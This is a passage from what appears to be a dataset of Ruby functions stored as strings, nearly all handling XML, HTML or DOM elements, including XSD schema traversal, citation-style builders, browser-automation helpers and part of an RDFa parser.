v.inspect if @debug\n\n if v[/{/] then\n\n v.gsub!(/(\\{[^\\}]+\\})/) do |x2|\n\n xpath = x2[/\\{([^\\}]+)\\}/,1]\n puts 'element.text(xpath): ' + element.text(xpath).inspect if @debug\n text = element.text(xpath).to_s.strip\n puts 'text: ' + text.inspect if @debug\n text ? text.clone : ''\n\n end\n\n puts '2. v: ' + v.inspect if @debug\n\n end\n end\n\n puts 'x.children.length: ' + x.children.length.inspect if @debug\n\n if x.children.length > 0 then\n\n indent_before(element, x, doc_element, new_indent, j) if @indent == true\n\n read_node(x, element, new_element, new_indent, j)\n doc_element.add new_element\n\n if @indent == true then\n if doc_element.children.last.children.any? \\\n {|x| x.is_a? Rexle::Element} then\n\n doc_element.children.last.add_text \"\\n\" + ' ' * (new_indent - 1)\n end\n end\n\n\n else\n\n indent_before(element, x, new_element, new_indent, j) if @indent == true\n\n val = @indent == true ? x.to_s : x.to_s\n #jr020219 doc_element.add val\n doc_element.add new_element\n\n end\n\n end\n #new_element\n #puts 'attributes: ' + new_element.attributes.inspect if @debug\n\n end", "def build_elements(node, obj)\n node.elements.each do |e|\n case\n when e.name == \"names\"\n obj << (build_names(e))\n when e.name == \"date\"\n obj << (build_date(e))\n when e.name == \"label\"\n obj << (build_label(e))\n when e.name == \"text\"\n obj << (build_text(e))\n when e.name == \"group\"\n obj << (build_group(e))\n when e.name == \"choose\"\n obj << (build_conditions(e))\n end\n end\n end", "def elements(n, depth, opts)\n case n.name\n # Each case follows a rhythm of:\n #\n # * enter(n, depth, opts… only element, group, attribute plus complexType, simpleType for common_2014.xsd\n # * allowed_attributes(n…\n # * n = annotate(n, … except simpleContent, complexContent, attribute\n # * [base] only simpleType, simpleContent, complexContent\n # * [logic]\n # * children = node_set(n… except simpleType\n # * children.… except simpleType\n # * follow(n… except sequence, choice, complexType\n when 'choice'\n allowed_attributes(n, optional: %w(minOccurs maxOccurs)) # discard minOccurs (\"0\"), maxOccurs (on p and text_ft_multi_lines_or_string only)\n n = annotate(n, ['annotation'])\n children = node_set(n.element_children, size: 1..6, names: %w(choice element group sequence), name_only: true)\n children.to_enum.with_index(97) do |c, i|\n elements(c, depth + 1, opts.merge(key_for_depth(depth) => i.chr))\n end\n\n when 'sequence'\n allowed_attributes(n, optional: %w(minOccurs)) # discard minOccurs (\"0\")\n n = annotate(n, ['annotation'])\n children = node_set(n.element_children, size: 1..16, names: %w(choice element group sequence), name_only: true)\n children.to_enum.with_index(1) do |c, i|\n elements(c, depth + 1, opts.merge(key_for_depth(depth) => i))\n end\n\n when 'group'\n enter(n, depth, opts)\n\n allowed_attributes(n, disjoint: %w(name ref), optional: %w(minOccurs maxOccurs))\n n = annotate(n, ['annotation'])\n children = node_set(n.element_children, size: 0..1, names: %w(choice sequence), children: true)\n children.each do |c|\n elements(c, depth, opts)\n end\n\n follow(n, depth, opts.merge(reference: n['ref']))\n\n when 'element'\n enter(n, depth, opts)\n\n allowed_attributes(n, disjoint: %w(name ref), optional: %w(type minOccurs maxOccurs))\n n = annotate(n, %w(annotation unique))\n children = node_set(n.element_children, size: 0..1, names: %w(complexType simpleType), name_only: true)\n children.each do |c|\n elements(c, depth, opts)\n end\n\n follow(n, depth, opts.merge(reference: n['ref'] || n['type']))\n\n when 'complexType'\n if opts[:enter]\n enter(n, depth, opts)\n end\n\n allowed_attributes(n, optional: %w(name mixed)) # discard name (referenced) and mixed (on p and text_ft_multi_lines_or_string only)\n n = annotate(n, ['annotation'])\n children = node_set(n.element_children, size: 0..2, names: %w(attribute choice group sequence complexContent simpleContent), name_only: true)\n children.each do |c|\n elements(c, depth, opts)\n end\n\n when 'simpleType'\n if opts[:enter]\n enter(n, depth, opts)\n end\n\n allowed_attributes(n, optional: ['name']) # discard name (referenced)\n n = annotate(n, ['annotation'])\n\n ns = node_set(n.element_children, size: 1, names: ['restriction'], attributes: ['base'], children: 'any')\n node = ns[0]\n base = node['base']\n\n children = node_set(node.element_children, size: 0..9999, names: RESTRICTIONS.map(&:to_s), attributes: ['value'], children: 'any')\n if children.any?\n restrictions = {enumeration: []}\n children.each do |c|\n c = annotate(c, ['annotation'], discard: NO_ANNOTATIONS.include?(n['name']))\n assert_leaf c\n\n key = c.name.to_sym\n value = c['value']\n\n if key == :enumeration\n restrictions[key] << value\n else\n restrictions[key] = value\n end\n end\n if restrictions[:enumeration].none?\n restrictions.delete(:enumeration)\n end\n set_last(n, restrictions.merge(restriction: base))\n end\n\n follow(node, depth, opts.merge(reference: base))\n\n when 'simpleContent'\n allowed_attributes(n)\n\n ns = node_set(n.element_children, size: 1, names: ['extension'], attributes: ['base'], children: true)\n node = ns[0]\n base = node['base']\n\n children = node_set(node.element_children, size: 1, names: ['attribute'], name_only: true)\n children.each do |c|\n elements(c, depth, opts.merge(extension: base))\n end\n\n follow(node, depth, opts.merge(reference: base))\n\n when 'complexContent'\n allowed_attributes(n)\n\n ns = node_set(n.element_children, size: 1, names: %w(extension restriction), attributes: ['base'], children: 'any')\n node = ns[0]\n base = node['base']\n\n case node.name\n when 'extension'\n additional = {extension: base}\n names = %w(attribute choice group sequence)\n when 'restriction'\n additional = {restriction: base}\n names = ['sequence']\n else\n assert false, \"unexpected #{n.name}\", n\n end\n\n if node.name == 'restriction' && !NO_CHILDREN.include?(node['base'])\n compare(node, depth, opts)\n end\n\n if node.name != 'restriction' || !NO_CHILDREN.include?(node['base'])\n children = node_set(node.element_children, size: 0..1, names: names, name_only: true)\n children.each do |c|\n elements(c, depth, opts.merge(additional))\n end\n end\n\n follow(node, depth, opts.merge(reference: base))\n\n when 'attribute'\n enter(n, depth, opts.merge(key_for_depth(depth) => '+'))\n\n allowed_attributes(n, required: ['name'], optional: %w(type use fixed))\n children = node_set(n.element_children, size: 0..1, names: ['simpleType'], children: true)\n children.each do |c|\n elements(c, depth, opts)\n end\n\n follow(n, depth, opts.merge(reference: n['type']), optional: true)\n\n else\n assert false, \"unexpected #{n.name}\", n\n end\n end", "def collect_elements element\n # capture first element name\n elements = []\n # iterate text until next headline\n while true do\n elements << element\n element = element.next\n break if element.nil? || element.to_html.include?(\"class=\\\"mw-headline\\\"\")\n end\n elements\n end", "def multi_element_check( elements )\n elements.each do |element|\n wait_for_element(element[0].to_sym, element[1])\n print \".\"\n end\n end", "def report_on dom, element\n els = dom.root.elements.to_a \"//#{element}\"\n \"The document has #{els.size} '#{element}' elements\"\n end", "def set_velement\n @velement = Velement.find(params[:id])\n end", "def cascading_administrative_metadata(params, element)\n if element.can_perform_cascading? && params['cascading']['cascading'] == Constants::CASCADING_EFFECT_TRUE\n element.cascading_elements.each do |ce|\n update_administrative_metadata_from_controller(params, ce, true)\n end\n end\n end", "def object_method_xpath(object, method, element_id)\n @xdoc or assert_javascript\n # ERGO: element_id may be nil. Propagate this\n # ERGO: element_id -> first_argument\n \n return \".//ArgumentList[ @name = 'Arguments' ]/\" +\n (element_id ? \"String[ . = '#{element_id}' ]/../\" : '') +\n '../' + member_expression(object, method)\n end", "def modify_properties(properties_element)\n end", "def multi_element_attr_match( elements )\n elements.each do |element|\n print \".\"\n wait_for_element(element[0].to_sym, element[1])\n check_attribute_match(element[0].to_sym, element[1], element[2], element[3])\n end\n end", "def create_get_element_params(element_name, *find_args)\n method_name = \"#{element_name}_params\"\n create_helper_method(method_name, *find_args) do\n define_method(method_name) do\n merge_args(find_args)\n end\n end\n end", "def visitPPM(elem, data)\r\n @@log.debug(\"XmlRuleVisitor::visitPPM\")\r\n @@log.debug(elem.inspect)\r\n\r\n varName = @context.ppms[elem.attributes['Name']].name\r\n\r\n data += varName\r\n\r\n return data\r\n end", "def getIDEA_VE(design_element, options = {}) # :nodoc:\n # Checks\n de_received = defined?(design_element) ? design_element : :none\n arguments_received = defined?(options) ? options : nil\n supported_element_types = []\n valid_options = [:VE]\n design_element, element_type, error_messages = commonChecks(de_received, arguments_received, supported_element_types, valid_options)\n\n defaults = {:VE => \"all\"}\n options = defaults.merge(options) \n\n ve_name = options[:VE]\n \n if ve_name.nil?\n error_messages << \":name argument missing\"\n end\n if !(error_messages.empty?)\n raiseError(__method__, design_element, arguments_received, error_messages)\n end\n # Body\n ve_value = \"Component: #{design_element.get(\"Name\")}\\n\"\n if !(design_element.element(\"VendorExtensions\").nil?)\n vendor_extensions = design_element.element(\"VendorExtensions\").elements(\"VEElement\")\n #prints general VEs\n if ve_name == \"all\" or ve_name == \"general\"\n vendor_extensions.each do |vendor_extension|\n # get the correct index for instance VEs\n for ind0 in 0..vendor_extension.elements(\"VEElement\").length-1\n if vendor_extension.elements(\"VEElement\")[ind0].get(\"VEName\") == design_element.get(\"Name\")\n # get the correct index for general VEs\n for ind1 in 0..vendor_extension.elements(\"VEElement\")[ind0].elements(\"VEElement\").length-1\n if vendor_extension.elements(\"VEElement\")[ind0].elements(\"VEElement\")[ind1].get(\"VEName\") == \"general\"\n ve_ind0 = ind0\n ve_ind1 = ind1\n break\n break\n end\n end\n end\n end\n ve_value = ve_value + \"\\nGENERAL VEs\\n\\n\"\n for ind2 in 0..vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\").length-1\n ve_value5 = vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\")[ind2].get(\"VEName\")\n ve_value = ve_value + \"#{ve_value5}\\n\"\n for ind3 in 0..vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\")[ind2].elements(\"VEElement\").length-1\n ve_name6 = vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\")[ind2].elements(\"VEElement\")[ind3].get(\"VEName\")\n ve_value6 = vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\")[ind2].elements(\"VEElement\")[ind3].get(\"VEValue\")\n ve_value = ve_value + \"#{ve_name6} : #{ve_value6}\\n\"\n end\n end\n end\n end\n #prints specific VEs\n if ve_name == \"all\" or ve_name == \"specific\"\n vendor_extensions.each do |vendor_extension|\n # get the correct index for instance VEs\n for ind0 in 0..vendor_extension.elements(\"VEElement\").length-1\n if vendor_extension.elements(\"VEElement\")[ind0].get(\"VEName\") == design_element.get(\"Name\")\n # get the correct index for specific VEs\n for ind1 in 0..vendor_extension.elements(\"VEElement\")[ind0].elements(\"VEElement\").length-1\n if vendor_extension.elements(\"VEElement\")[ind0].elements(\"VEElement\")[ind1].get(\"VEName\") == \"specific\"\n ve_ind0 = ind0\n ve_ind1 = ind1\n break\n break\n end\n end\n end\n end\n ve_value = ve_value + \"\\nSPECIFIC VEs\\n\\n\"\n for ind2 in 0..vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\").length-1\n ve_value5 = vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\")[ind2].get(\"VEName\")\n ve_value = ve_value + \"#{ve_value5}\\n\"\n for ind3 in 0..vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\")[ind2].elements(\"VEElement\").length-1\n ve_name6 = vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\")[ind2].elements(\"VEElement\")[ind3].get(\"VEName\")\n ve_value6 = vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\")[ind2].elements(\"VEElement\")[ind3].get(\"VEValue\")\n ve_value = ve_value + \"#{ve_name6} : #{ve_value6}\\n\"\n end\n end\n end\n\n #prints an individual VE (from general list)\n elsif ve_name == \"power\" or ve_name == \"area\" or ve_name == \"platform\" or ve_name == \"vin\" or ve_name == \"aspect_ratio\"\n ve_value = ve_value + \"\\nGENERAL VE\\n\\n\"\n vendor_extensions.each do |vendor_extension|\n for ind0 in 0..vendor_extension.elements(\"VEElement\").length-1\n if vendor_extension.elements(\"VEElement\")[ind0].get(\"VEName\") == design_element.get(\"Name\")\n # get the correct index for general VEs\n for ind1 in 0..vendor_extension.elements(\"VEElement\")[ind0].elements(\"VEElement\").length-1\n if vendor_extension.elements(\"VEElement\")[ind0].elements(\"VEElement\")[ind1].get(\"VEName\") == \"general\"\n ve_ind0 = ind0\n ve_ind1 = ind1\n break\n break\n end\n end\n end\n end\n\n for ind2 in 0..vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\").length-1\n ve_value5 = vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\")[ind2].get(\"VEName\")\n if ve_value5 == ve_name\n ve_value = ve_value + \"#{ve_value5}\\n\"\n for ind3 in 0..vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\")[ind2].elements(\"VEElement\").length-1\n ve_name6 = vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\")[ind2].elements(\"VEElement\")[ind3].get(\"VEName\")\n ve_value6 = vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\")[ind2].elements(\"VEElement\")[ind3].get(\"VEValue\")\n ve_value = ve_value + \"#{ve_name6} : #{ve_value6}\\n\"\n end\n break\n end\n end\n end\n\n #prints an individual VE (from specific list)\n elsif ve_name != \"all\" and ve_name != \"general\" and ve_name != \"specific\"\n ve_value = ve_value + \"\\nSPECIFIC VE\\n\\n\"\n vendor_extensions.each do |vendor_extension|\n for ind0 in 0..vendor_extension.elements(\"VEElement\").length-1\n if vendor_extension.elements(\"VEElement\")[ind0].get(\"VEName\") == design_element.get(\"Name\")\n # get the correct index for specific VEs\n for ind1 in 0..vendor_extension.elements(\"VEElement\")[ind0].elements(\"VEElement\").length-1\n if vendor_extension.elements(\"VEElement\")[ind0].elements(\"VEElement\")[ind1].get(\"VEName\") == \"specific\"\n ve_ind0 = ind0\n ve_ind1 = ind1\n break\n break\n end\n end\n end\n end\n\n for ind2 in 0..vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\").length-1\n ve_value5 = vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\")[ind2].get(\"VEName\")\n if ve_value5 == ve_name\n ve_value = ve_value + \"#{ve_value5}\\n\"\n for ind3 in 0..vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\")[ind2].elements(\"VEElement\").length-1\n ve_name6 = vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\")[ind2].elements(\"VEElement\")[ind3].get(\"VEName\")\n ve_value6 = vendor_extension.elements(\"VEElement\")[ve_ind0].elements(\"VEElement\")[ve_ind1].elements(\"VEElement\")[ind2].elements(\"VEElement\")[ind3].get(\"VEValue\")\n ve_value = ve_value + \"#{ve_name6} : #{ve_value6}\\n\"\n end\n break\n end\n end\n end\n end\n end\n\n ve_value = ve_value + \"\\n\\n\"\n return ve_value\nend", "def parseAttributes(element, topElementName)\n element.elements.each(){|elem|\n @elements[topElementName].push(parseAttribute(elem, topElementName))\n }\n end", "def update_tree(element); end", "def extract_input_parameters(op_node, doc)\n result = []\n op_name = op_node.attributes['name'].to_s\n doc.each_element_with_attribute('name', op_name, 0,\n '//schema/element') do |method_node|\n seq_node = REXML::XPath.first(method_node, 'complexType/sequence')\n result = get_element_fields(seq_node)\n process_method_field_types(result)\n end\n return result\n end", "def elements(name, *find_args)\n build_elements(name, *find_args) do\n define_method(name) do |*runtime_args, &block|\n raise_if_block(self, name, !block.nil?, :elements)\n _all(*merge_args(find_args, runtime_args))\n end\n\n create_get_element_params(name, find_args)\n end\n end", "def get_value_set_for_element element\n value_set = element[\"children\"].find{ |ch| ch[\"attrs\"][\"phemaObject\"] and ch[\"attrs\"][\"phemaObject\"][\"className\"] == \"ValueSet\" }\n return {\"id\" => \"\", \"name\" => \"(Not specified)\"} if value_set.nil?\n {\"id\" => value_set[\"attrs\"][\"element\"][\"id\"], \"name\" => value_set[\"attrs\"][\"element\"][\"name\"] }\n end", "def get_element_info(element, parent_count = 0)\n parent = ''\n parent_count.times do\n parent = parent + '.parentElement'\n end\n result = Hash.new\n attr_script = %Q[\n var s = {};\n var attrs = arguments[0]#{parent}.attributes;\n for (var l = 0; l < attrs.length; ++l) {\n var a = attrs[l]; s[a.name] = a.value.split(\" \");\n } ;\n return s;]\n tag_script = \"return arguments[0]#{parent}.tagName\"\n text_script = %Q[\n if (arguments[0]#{parent}.textContent == arguments[0]#{parent}.innerHTML)\n {return arguments[0]#{parent}.textContent} else {return ''};]\n result['tag'] = [@engine.execute_script(tag_script, element)]\n txt = @engine.execute_script(text_script, element)\n result['text'] = txt != '' ? [txt] : []\n result['attributes'] = @engine.execute_script(attr_script, element)\n result['attributes'].each_pair do |attribute, value|\n value.uniq!\n end\n return result\n end", "def parse_facts(elem)\n para = elem.following_siblings()[0]\n values = para.search(\"strong\")\n launchdate = nil\n launchvehicle = nil\n launchsite = nil\n values.each { |value| \n field_name = value.inner_html\n field_value = value.next.to_plain_text.gsub /^\\s/, \"\"\n # substrings are a hack for presence of &nbsp; at the start of some values\n if field_name == \"Launch Date:\"\n launchdate = field_value \n elsif field_name == \"Launch Vehicle:\"\n launchvehicle = field_value\n elsif field_name == \"Launch Site:\" \n launchsite = field_value\n elsif field_name == \"Mass:\"\n @mass = field_value.gsub /\\skg/, \"\"\n elsif field_name == \"Nominal Power:\"\n #\"Nominal Power: 375.0 W\", 1966-073A.html \n @nominalPower = clean_ws( field_value.gsub(/\\sW/, \"\") ).gsub /\\s/, \"\"\n else\n puts \"Unknown field: #{field_name}\"\n end\n \n }\n @launch = Launch.new(launchdate, launchsite, @id, launchvehicle)\n end", "def load_elements_global\n elements_array = self.get_elements\n\n modified_elements_array = Array.new\n elements_array.each_with_index do |element_object, index|\n #Get params for individual element, given the index\n element_configuration = self.get_individual_configuration(index, self.configuration)\n\n element_object_options = {\n :framework_object => self.framework_object,\n :screen_object => self.screen_object,\n :driver_object => self.driver_object,\n :blue_prints => element_configuration,\n :screen_name => self.screen_name,\n :element_name => (self.element_name + \"(#{index})\"),\n :element_object => element_object\n }\n\n new_element = AutomationObject::Element.new(element_object_options)\n\n this = self\n new_element.on :hook do |args|\n this.emit :hook, args\n end\n\n modified_elements_array.push(new_element)\n end\n\n self.elements_loaded = true\n return modified_elements_array\n end", "def traverse(element, evaluation_context)\n if element.nil?\n add_error(element, \"Can't parse nil element\")\n return nil\n end\n\n add_debug(element) { \"ec: #{evaluation_context.inspect}\" }\n\n # local variables [7.5 Step 1]\n recurse = true\n skip = false\n new_subject = nil\n typed_resource = nil\n current_object_resource = nil\n uri_mappings = evaluation_context.uri_mappings.clone\n namespaces = evaluation_context.namespaces.clone\n incomplete_triples = []\n language = evaluation_context.language\n term_mappings = evaluation_context.term_mappings.clone\n default_vocabulary = evaluation_context.default_vocabulary\n list_mapping = evaluation_context.list_mapping\n\n xml_base = element.base\n base = xml_base.to_s if xml_base && ![:xhtml1, :html4, :html5].include?(@host_language)\n add_debug(element) {\"base: #{base.inspect}\"} if base\n base ||= evaluation_context.base\n\n # Pull out the attributes needed for the skip test.\n attrs = {}\n %w(\n about\n content\n datatype\n datetime\n href\n id\n inlist\n property\n rel\n resource\n rev\n role\n src\n type\n typeof\n value\n vocab\n ).each do |a|\n attrs[a.to_sym] = element.attributes[a].to_s.strip if element.attributes[a]\n end\n\n add_debug(element) {\"attrs \" + attrs.inspect} unless attrs.empty?\n\n # If @property and @rel/@rev are on the same elements, the non-CURIE and non-URI @rel/@rev values are ignored. If, after this, the value of @rel/@rev becomes empty, then the then the processor must act as if the attribute is not present.\n if attrs.has_key?(:property) && @version == :\"rdfa1.1\" && (@host_language == :html5 || @host_language == :xhtml5 || @host_language == :html4)\n [:rel, :rev].each do |attr|\n next unless attrs.has_key?(attr)\n add_debug(element) {\"Remove non-CURIE/non-IRI @#{attr} values from #{attrs[attr].inspect}\"}\n attrs[attr] = attrs[attr].\n split(/\\s+/).\n select {|a| a.index(':')}.\n join(\" \")\n add_debug(element) {\" => #{attrs[attr].inspect}\"}\n attrs.delete(attr) if attrs[attr].empty?\n end\n end\n\n # Default vocabulary [7.5 Step 2]\n # Next the current element is examined for any change to the default vocabulary via @vocab.\n # If @vocab is present and contains a value, its value updates the local default vocabulary.\n # If the value is empty, then the local default vocabulary must be reset to the Host Language defined default.\n if attrs[:vocab]\n default_vocabulary = if attrs[:vocab].empty?\n # Set default_vocabulary to host language default\n add_debug(element) {\n \"[Step 3] reset default_vocaulary to #{@host_defaults.fetch(:vocabulary, nil).inspect}\"\n }\n @host_defaults.fetch(:vocabulary, nil)\n else\n # Generate a triple indicating that the vocabulary is used\n add_triple(element, base, RDF::RDFA.usesVocabulary, uri(attrs[:vocab]))\n\n uri(attrs[:vocab])\n end\n add_debug(element) {\n \"[Step 2] default_vocaulary: #{default_vocabulary.inspect}\"\n }\n end\n\n # Local term mappings [7.5 Step 3]\n # Next, the current element is then examined for URI mapping s and these are added to the local list of URI mappings.\n # Note that a URI mapping will simply overwrite any current mapping in the list that has the same name\n extract_mappings(element, uri_mappings, namespaces)\n\n # Language information [7.5 Step 4]\n language = element.language || language\n language = nil if language.to_s.empty?\n add_debug(element) {\"HTML5 [3.2.3.3] lang: #{language.inspect}\"} if language\n\n # Embedded scripts\n if element.name == 'script'\n text = element.inner_html.sub(%r(\\A\\s*\\<!\\[CDATA\\[)m, '').sub(%r(\\]\\]>\\s*\\Z)m, '')\n\n extract_script(element, text, attrs[:type], **@options.merge(base_uri: base)) do |statement|\n @repository << statement\n end\n end\n\n # From HTML5, if the property attribute and the rel and/or rev attribute exists on the same element, the non-CURIE and non-URI rel and rev values are ignored. If, after this, the value of rel and/or rev becomes empty, then the processor must act as if the respective attribute is not present.\n if [:html5, :xhtml5].include?(@host_language) && attrs[:property] && (attrs[:rel] || attrs[:rev])\n old_rel, old_rev = attrs[:rel], attrs[:rev]\n if old_rel\n attrs[:rel] = (attrs[:rel]).split(/\\s+/m).select {|r| !r.index(':').nil?}.join(\" \")\n attrs.delete(:rel) if attrs[:rel].empty?\n add_debug(element) {\"HTML5: @rel was #{old_rel}, now #{attrs[:rel]}\"}\n end\n if old_rev\n attrs[:rev] = (attrs[:rev]).split(/\\s+/m).select {|r| !r.index(':').nil?}.join(\" \")\n attrs.delete(:rev) if attrs[:rev].empty?\n add_debug(element) {\"HTML5: @rev was #{old_rev}, now #{attrs[:rev]}\"}\n end\n end\n\n # rels and revs\n rels = process_uris(element, attrs[:rel], evaluation_context, base,\n uri_mappings: uri_mappings,\n term_mappings: term_mappings,\n vocab: default_vocabulary,\n restrictions: TERMorCURIEorAbsIRI.fetch(@version, []))\n revs = process_uris(element, attrs[:rev], evaluation_context, base,\n uri_mappings: uri_mappings,\n term_mappings: term_mappings,\n vocab: default_vocabulary,\n restrictions: TERMorCURIEorAbsIRI.fetch(@version, []))\n\n add_debug(element) do\n \"rels: #{rels.join(\" \")}, revs: #{revs.join(\" \")}\"\n end unless (rels + revs).empty?\n\n if !(attrs[:rel] || attrs[:rev])\n # Establishing a new subject if no rel/rev [7.5 Step 5]\n\n if @version == :\"rdfa1.0\"\n new_subject = if attrs[:about]\n process_uri(element, attrs[:about], evaluation_context, base,\n uri_mappings: uri_mappings,\n restrictions: SafeCURIEorCURIEorIRI.fetch(@version, []))\n elsif attrs[:resource]\n process_uri(element, attrs[:resource], evaluation_context, base,\n uri_mappings: uri_mappings,\n restrictions: SafeCURIEorCURIEorIRI.fetch(@version, []))\n elsif attrs[:href] || attrs[:src]\n process_uri(element, (attrs[:href] || attrs[:src]), evaluation_context, base, restrictions: [:uri])\n end\n\n # If no URI is provided by a resource attribute, then the first match from the following rules\n # will apply:\n new_subject ||= if [:xhtml1, :xhtml5, :html4, :html5].include?(@host_language) && element.name =~ /^(head|body)$/\n # From XHTML+RDFa 1.1:\n # if no URI is provided, then first check to see if the element is the head or body element.\n # If it is, then act as if the new subject is set to the parent object.\n uri(base)\n elsif element == root && base\n # if the element is the root element of the document, then act as if there is an empty @about present,\n # and process it according to the rule for @about, above;\n uri(base)\n elsif attrs[:typeof]\n RDF::Node.new\n else\n # otherwise, if parent object is present, new subject is set to the value of parent object.\n skip = true unless attrs[:property]\n evaluation_context.parent_object\n end\n\n # if the @typeof attribute is present, set typed resource to new subject\n typed_resource = new_subject if attrs[:typeof]\n else # rdfa1.1\n # If the current element contains no @rel or @rev attribute, then the next step is to establish a value for new subject.\n # This step has two possible alternatives.\n # 1. If the current element contains the @property attribute, but does not contain the @content or the @datatype attributes, then\n if attrs[:property] && !(attrs[:content] || attrs[:datatype])\n # new subject is set to the resource obtained from the first match from the following rule:\n new_subject ||= if attrs[:about]\n # by using the resource from @about, if present, obtained according to the section on CURIE and IRI Processing;\n process_uri(element, attrs[:about], evaluation_context, base,\n uri_mappings: uri_mappings,\n restrictions: SafeCURIEorCURIEorIRI.fetch(@version, []))\n elsif [:xhtml1, :xhtml5, :html4, :html5].include?(@host_language) && element.name =~ /^(head|body)$/\n # From XHTML+RDFa 1.1:\n # if no URI is provided, then first check to see if the element is the head or body element. If it is, then act as if the new subject is set to the parent object.\n evaluation_context.parent_object\n elsif element == root && base\n # otherwise, if the element is the root element of the document, then act as if there is an empty @about present, and process it according to the rule for @about, above;\n uri(base)\n end\n\n # if the @typeof attribute is present, set typed resource to new subject\n typed_resource = new_subject if attrs[:typeof]\n\n # otherwise, if parent object is present, new subject is set to the value of parent object.\n new_subject ||= evaluation_context.parent_object\n\n # If @typeof is present then typed resource is set to the resource obtained from the first match from the following rules:\n\n # by using the resource from @about, if present, obtained according to the section on CURIE and IRI Processing; (done above)\n # otherwise, if the element is the root element of the document, then act as if there is an empty @about present and process it according to the previous rule; (done above)\n\n if attrs[:typeof] && typed_resource.nil?\n # otherwise,\n typed_resource ||= if attrs[:resource]\n # by using the resource from @resource, if present, obtained according to the section on CURIE and IRI Processing;\n process_uri(element, attrs[:resource], evaluation_context, base,\n uri_mappings: uri_mappings,\n restrictions: SafeCURIEorCURIEorIRI.fetch(@version, []))\n elsif attrs[:href] || attrs[:src]\n # otherwise, by using the IRI from @href, if present, obtained according to the section on CURIE and IRI Processing;\n # otherwise, by using the IRI from @src, if present, obtained according to the section on CURIE and IRI Processing;\n process_uri(element, (attrs[:href] || attrs[:src]), evaluation_context, base,\n restrictions: [:uri])\n else\n # otherwise, the value of typed resource is set to a newly created bnode.\n RDF::Node.new\n end\n\n # The value of the current object resource is set to the value of typed resource.\n current_object_resource = typed_resource\n end\n else\n # otherwise (ie, the @content or @datatype)\n new_subject =\n process_uri(element, (attrs[:about] || attrs[:resource]),\n evaluation_context, base,\n uri_mappings: uri_mappings,\n restrictions: SafeCURIEorCURIEorIRI.fetch(@version, [])) if attrs[:about] ||attrs[:resource]\n new_subject ||=\n process_uri(element, (attrs[:href] || attrs[:src]), evaluation_context, base,\n restrictions: [:uri]) if attrs[:href] || attrs[:src]\n\n # If no URI is provided by a resource attribute, then the first match from the following rules\n # will apply:\n new_subject ||= if [:xhtml1, :xhtml5, :html4, :html5].include?(@host_language) && element.name =~ /^(head|body)$/\n # From XHTML+RDFa 1.1:\n # if no URI is provided, then first check to see if the element is the head or body element.\n # If it is, then act as if the new subject is set to the parent object.\n evaluation_context.parent_object\n elsif element == root\n # if the element is the root element of the document, then act as if there is an empty @about present,\n # and process it according to the rule for @about, above;\n uri(base)\n elsif attrs[:typeof]\n RDF::Node.new\n else\n # otherwise, if parent object is present, new subject is set to the value of parent object.\n # Additionally, if @property is not present then the skip element flag is set to 'true'.\n skip = true unless attrs[:property]\n evaluation_context.parent_object\n end\n\n # If @typeof is present then typed resource is set to the resource obtained from the first match from the following rules:\n typed_resource = new_subject if attrs[:typeof]\n end\n end\n\n add_debug(element) {\n \"[Step 5] new_subject: #{new_subject.to_ntriples rescue 'nil'}, \" +\n \"typed_resource: #{typed_resource.to_ntriples rescue 'nil'}, \" +\n \"current_object_resource: #{current_object_resource.to_ntriples rescue 'nil'}, \" +\n \"skip = #{skip}\"\n }\n else\n # [7.5 Step 6]\n # If the current element does contain a @rel or @rev attribute, then the next step is to\n # establish both a value for new subject and a value for current object resource:\n new_subject = process_uri(element, attrs[:about], evaluation_context, base,\n uri_mappings: uri_mappings,\n restrictions: SafeCURIEorCURIEorIRI.fetch(@version, []))\n new_subject ||= process_uri(element, attrs[:src], evaluation_context, base,\n uri_mappings: uri_mappings,\n restrictions: [:uri]) if @version == :\"rdfa1.0\"\n\n # if the @typeof attribute is present, set typed resource to new subject\n typed_resource = new_subject if attrs[:typeof]\n\n # If no URI is provided then the first match from the following rules will apply\n new_subject ||= if element == root && base\n uri(base)\n elsif [:xhtml1, :xhtml5, :html4, :html5].include?(@host_language) && element.name =~ /^(head|body)$/\n # From XHTML+RDFa 1.1:\n # if no URI is provided, then first check to see if the element is the head or body element.\n # If it is, then act as if the new subject is set to the parent object.\n evaluation_context.parent_object\n elsif attrs[:typeof] && @version == :\"rdfa1.0\"\n RDF::Node.new\n else\n # if it's null, it's null and nothing changes\n evaluation_context.parent_object\n # no skip flag set this time\n end\n\n # Then the current object resource is set to the URI obtained from the first match from the following rules:\n current_object_resource = process_uri(element, attrs[:resource], evaluation_context, base,\n uri_mappings: uri_mappings,\n restrictions: SafeCURIEorCURIEorIRI.fetch(@version, [])) if attrs[:resource]\n current_object_resource ||= 